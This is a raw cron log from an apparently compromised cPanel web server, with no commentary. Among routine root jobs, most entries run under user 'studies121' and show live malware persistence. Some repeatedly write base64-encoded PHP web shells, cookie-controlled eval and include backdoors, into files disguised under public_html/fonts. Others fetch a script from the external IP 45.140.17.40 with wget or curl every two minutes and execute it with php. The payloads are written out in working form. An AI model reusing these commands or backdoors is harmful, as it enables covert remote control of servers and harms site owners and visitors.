Sep  1 05:24:01 ip-184-168-122-23 CROND[26141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:24:01 ip-184-168-122-23 CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:24:01 ip-184-168-122-23 CROND[26144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:25:01 ip-184-168-122-23 CROND[26358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:25:01 ip-184-168-122-23 CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:25:01 ip-184-168-122-23 CROND[26361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:25:01 ip-184-168-122-23 CROND[26364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:25:01 ip-184-168-122-23 CROND[26365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:25:01 ip-184-168-122-23 CROND[26366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:26:01 ip-184-168-122-23 CROND[26466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:26:01 ip-184-168-122-23 CROND[26468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:26:01 ip-184-168-122-23 CROND[26469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:26:01 ip-184-168-122-23 CROND[26472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:26:01 ip-184-168-122-23 CROND[26471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:27:01 ip-184-168-122-23 CROND[26611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:27:01 ip-184-168-122-23 CROND[26613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:27:01 ip-184-168-122-23 CROND[26615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:27:01 ip-184-168-122-23 CROND[26614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:28:01 ip-184-168-122-23 CROND[26710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:28:01 ip-184-168-122-23 CROND[26713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:28:01 ip-184-168-122-23 CROND[26711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:28:01 ip-184-168-122-23 CROND[26714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:28:01 ip-184-168-122-23 CROND[26712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:29:01 ip-184-168-122-23 CROND[26864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:29:01 ip-184-168-122-23 CROND[26866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:29:01 ip-184-168-122-23 CROND[26867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:29:02 ip-184-168-122-23 CROND[26868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:30:02 ip-184-168-122-23 CROND[27055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27059]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:30:02 ip-184-168-122-23 CROND[27056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:31:02 ip-184-168-122-23 CROND[27169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:31:02 ip-184-168-122-23 CROND[27171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:31:02 ip-184-168-122-23 CROND[27173]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:31:02 ip-184-168-122-23 CROND[27174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:31:02 ip-184-168-122-23 CROND[27172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:32:01 ip-184-168-122-23 CROND[27300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:32:02 ip-184-168-122-23 CROND[27304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:32:02 ip-184-168-122-23 CROND[27305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:32:02 ip-184-168-122-23 CROND[27306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:32:02 ip-184-168-122-23 CROND[27308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:33:01 ip-184-168-122-23 CROND[27427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:33:01 ip-184-168-122-23 CROND[27428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:33:01 ip-184-168-122-23 CROND[27429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:33:01 ip-184-168-122-23 CROND[27431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:34:01 ip-184-168-122-23 CROND[27548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:34:01 ip-184-168-122-23 CROND[27551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:34:01 ip-184-168-122-23 CROND[27550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:34:01 ip-184-168-122-23 CROND[27553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:34:01 ip-184-168-122-23 CROND[27552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:35:02 ip-184-168-122-23 CROND[27669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:35:02 ip-184-168-122-23 CROND[27670]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:35:02 ip-184-168-122-23 CROND[27673]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 05:35:02 ip-184-168-122-23 CROND[27676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:35:02 ip-184-168-122-23 CROND[27677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:35:02 ip-184-168-122-23 CROND[27674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:35:02 ip-184-168-122-23 CROND[27675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:35:02 ip-184-168-122-23 CROND[27678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:36:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
